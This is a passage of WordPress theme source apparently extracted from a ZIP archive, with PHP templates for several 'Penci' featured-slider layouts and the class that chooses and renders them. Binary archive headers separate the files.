					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\ՋX      featured_slider/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $image_size_big;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $image_size; endif;

		$thumb_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>">
				<?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     /w\+ڀ׷      featured_slider/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 3 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\2:k   k   #  featured_slider/featured_slider.phpnu [        <?php

class Penci_Featured_Slider {

	public static function is_slider_style( $style ) {
		return in_array( $style, [
			'style-1',
			'style-2',
			'style-3',
			'style-4',
			'style-5',
			'style-6',
			'style-7',
			'style-8',
			'style-9',
			'style-10',
			'style-11',
			'style-12',
			'style-13',
			'style-14',
			'style-15',
			'style-16',
			'style-17',
			'style-18',
			'style-19',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-29',
			'style-30',
			'style-31',
			'style-32',
			'style-33',
			'style-34',
			'style-35',
			'style-36',
			'style-37',
			'style-38',
			'style-40',
			'video'
		] );
	}

	public static function render_featured_slider( $attrs = array() ) {

		$default_attrs = array(
			'style'                  => get_theme_mod( 'penci_featured_slider_style', 'style-1' ),
			'rev_shortcode'          => get_theme_mod( 'penci_feature_rev_sc' ),
			'auto_play'              => get_theme_mod( 'penci_featured_autoplay' ),
			'auto_time'              => get_theme_mod( 'penci_featured_slider_auto_time' ),
			'auto_speed'             => get_theme_mod( 'penci_featured_slider_auto_speed' ),
			'loop'                   => get_theme_mod( 'penci_featured_loop' ),
			'animation_in'           => get_theme_mod( 'penci_featured_slider_ain' ),
			'animation_out'          => get_theme_mod( 'penci_featured_slider_aout' ),
			'dots'                   => get_theme_mod( 'penci_disable_dots_penci_slider' ),
			'next_prev'              => get_theme_mod( 'penci_enable_next_prev_penci_slider' ),
			'slidespg'               => get_theme_mod( 'penci_featured_penci_slider_slidespg' ),
			'slideTo'                => get_theme_mod( 'penci_featured_penci_slider_slideTo' ),
			'flat_overlay'           => get_theme_mod( 'penci_enable_flat_overlay' ),
			'query_args'             => array(),
			'is_builder'             => false,
			'post_thumb_size'        => 'penci-slider-thumb',
			'post_thumb_size_mobile' => 'penci-masonry-thumb',
			'center_box'             => get_theme_mod( 'penci_featured_center_box' ),
			'hide_categories'        => get_theme_mod( 'penci_featured_hide_categories' ),
			'meta_date_hide'         => get_theme_mod( 'penci_featured_meta_date' ),
			'hide_meta_comment'      => get_theme_mod( 'penci_featured_meta_comment' ),
			'show_viewscount'        => get_theme_mod( 'penci_featured_viewscount' ),
			'show_meta_author'       => get_theme_mod( 'penci_featured_meta_author' ),
			'slider_title_length'    => get_theme_mod( 'penci_slider_title_length' ),
			'cspost_enable'          => get_theme_mod( 'penci_cspost_enable' ),
			'carousel_slider_effect' => get_theme_mod( 'penci_carousel_slider_effect' ),
			'single_slider_effect'   => get_theme_mod( 'penci_single_slider_effect' ),
		);

		$attrs = wp_parse_args( $attrs, $default_attrs );

		$slider_style = $attrs['style'];

		if ( in_array( $slider_style, [ 'style-33', 'style-34' ] ) && $attrs['rev_shortcode'] ) {
			$rev_shortcode = $attrs['rev_shortcode'];
			echo '<div class="featured-area featured-' . $slider_style . '">';
			if ( $slider_style == 'style-34' ) {
				echo '<div class="container">';
			}
			echo do_shortcode( $rev_shortcode );
			if ( $slider_style == 'style-34' ) {
				echo '</div>';
			}
			echo '</div>';
		} else {
			$style_mappings = [
				'style-3'  => 'style-1',
				'style-5'  => 'style-4',
				'style-7'  => 'style-8',
				'style-9'  => 'style-10',
				'style-11' => 'style-12',
				'style-13' => 'style-14',
				'style-15' => 'style-16',
				'style-17' => 'style-18',
				'style-29' => 'style-30',
				'style-35' => 'style-36'
			];

			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) && ! $attrs['is_builder'] ) {
				$slider_style = $style_mappings[ $slider_style ] ?? $slider_style;
			}

			$combined_classes = [
				'style-5'  => 'style-4 style-5',
				'style-30' => 'style-29 style-30',
				'style-36' => 'style-35 style-36'
			];

			$slider_class = $combined_classes[ $slider_style ] ?? $slider_style;
			$data_auto    = $attrs['auto_play'] ? 'true' : 'false';
			$data_loop    = $attrs['loop'] ? 'false' : 'true';
			$auto_time    = is_numeric( $attrs['auto_time'] ) ? $attrs['auto_time'] : '4000';
			$auto_speed   = is_numeric( $attrs['auto_speed'] ) ? $attrs['auto_speed'] : '600';

			$data_res = '';
			switch ( $slider_style ) {
				case 'style-7':
				case 'style-8':
					$data_res = ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-9':
				case 'style-10':
				case 'style-43':
					$data_res = ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-11':
				case 'style-12':
					$data_res = ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-31':
				case 'style-32':
				case 'style-35':
				case 'style-36':
				case 'style-37':
					$data_next_prev = $attrs['next_prev'] ? 'true' : 'false';
					$data_dots      = $attrs['dots'] ? 'false' : 'true';
					$data_res       = ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
					break;
			}

			$container_styles = [
				'style-1',
				'style-4',
				'style-6',
				'style-8',
				'style-10',
				'style-12',
				'style-14',
				'style-16',
				'style-18',
				'style-19',
				'style-20',
				'style-21',
				'style-22',
				'style-23',
				'style-24',
				'style-25',
				'style-26',
				'style-27',
				'style-30',
				'style-32',
				'style-36',
				'style-37',
				'style-41',
				'style-42',
				'style-43',
				'style-44',
				'style-45',
			];

			$open_container = $close_container = '';
			if ( in_array( $slider_style, $container_styles ) ) {
				$open_container  = '<div class="container">';
				$close_container = '</div>';
			}

			$output_anim = '';
			if ( $attrs['carousel_slider_effect'] ) {
				$output_anim .= ' data-ceffect="' . $attrs['carousel_slider_effect'] . '"';
			}
			if ( $attrs['single_slider_effect'] ) {
				$output_anim .= ' data-seffect="' . $attrs['single_slider_effect'] . '"';
			}

			$slider_lib = 'penci-owl-featured-area';
			if ( $attrs['flat_overlay'] && in_array( $slider_style, [
					'style-6',
					'style-7',
					'style-8',
					'style-9',
					'style-10',
					'style-11',
					'style-12',
					'style-13',
					'style-14',
					'style-15',
					'style-16',
					'style-17',
					'style-18',
					'style-19',
					'style-20',
					'style-21',
					'style-22',
					'style-23',
					'style-24',
					'style-25',
					'style-26',
					'style-27',
					'style-28'
				] ) ) {
				$slider_class .= ' penci-flat-overlay';
			}

			$slider_lib .= ' elsl-' . $slider_style;
			$swiper     = true;
			if ( $slider_style == 'style-40' ) {
				wp_enqueue_script( 'ff40' );
				wp_enqueue_script( 'gsap' );
				$slider_lib .= ' no-df-swiper';
				$swiper     = false;
			}

			if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
				$slider_lib .= ' no-df-swiper';
				$swiper     = false;
			}

			$new_attr = '';
			if ( $attrs['slidespg'] ) {
				$new_attr = ' data-slidespg="' . $attrs['slidespg'] . '"';
			}
			if ( $attrs['slideTo'] ) {
				$new_attr = ' data-slideTo="' . $attrs['slideTo'] . '"';
			}

			if ( $swiper ) {
				$slider_lib .= ' swiper penci-owl-carousel';
			}

			echo '<div class="featuredsl-customizer featured-area featured-' . $slider_class . '">' . $open_container;
			if ( $slider_style == 'style-37' ) {
				echo '<div class="penci-featured-items-left">';
			}
			echo '<div class="' . $slider_lib . '"' . $data_res . $new_attr . ' data-style="' . $slider_style . '" data-auto="' . $data_auto . '" data-autotime="' . $auto_time . '" data-speed="' . $auto_speed . '" data-loop="' . $data_loop . '"' . $output_anim . '>';
			if ( $swiper ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
				echo '<div class="swiper-wrapper">';
			}

			get_template_part( 'inc/featured_slider/' . $slider_style );

			if ( $swiper && $slider_style != 'style-37' ) {
				echo '</div>';
			}

			echo '</div>';
			echo $close_container . '</div>';
		}
	}

}
PK     /w\E1      featured_slider/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-magazine-slider';
$image_mobile_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_mobile_size : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\e;      featured_slider/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 1 ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
